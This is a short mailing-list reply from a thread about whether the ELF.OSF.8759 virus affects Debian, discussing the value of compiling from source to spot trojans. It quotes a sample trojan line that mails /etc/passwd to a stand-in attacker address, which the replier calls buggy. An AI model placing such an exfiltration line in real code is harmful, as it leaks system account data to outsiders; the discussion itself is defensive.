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Re: does virus ELF.OSF.8759 affect debian?



Anne Carasik wrote:
> 
> On Wed, Apr 10, 2002 at 10:52:38AM -0700, Brandon High wrote:
> > And another reason not to run as root...
> 
> Compile from source is a good idea too. It's amazing what you
> can find in the source. I found a couple of stupid Trojans
> that way.
> 
>    system("mail /etc/passwd user@badsite.fqdn");

Yeh, and it's buggy too....

Take a close look at what really happens.

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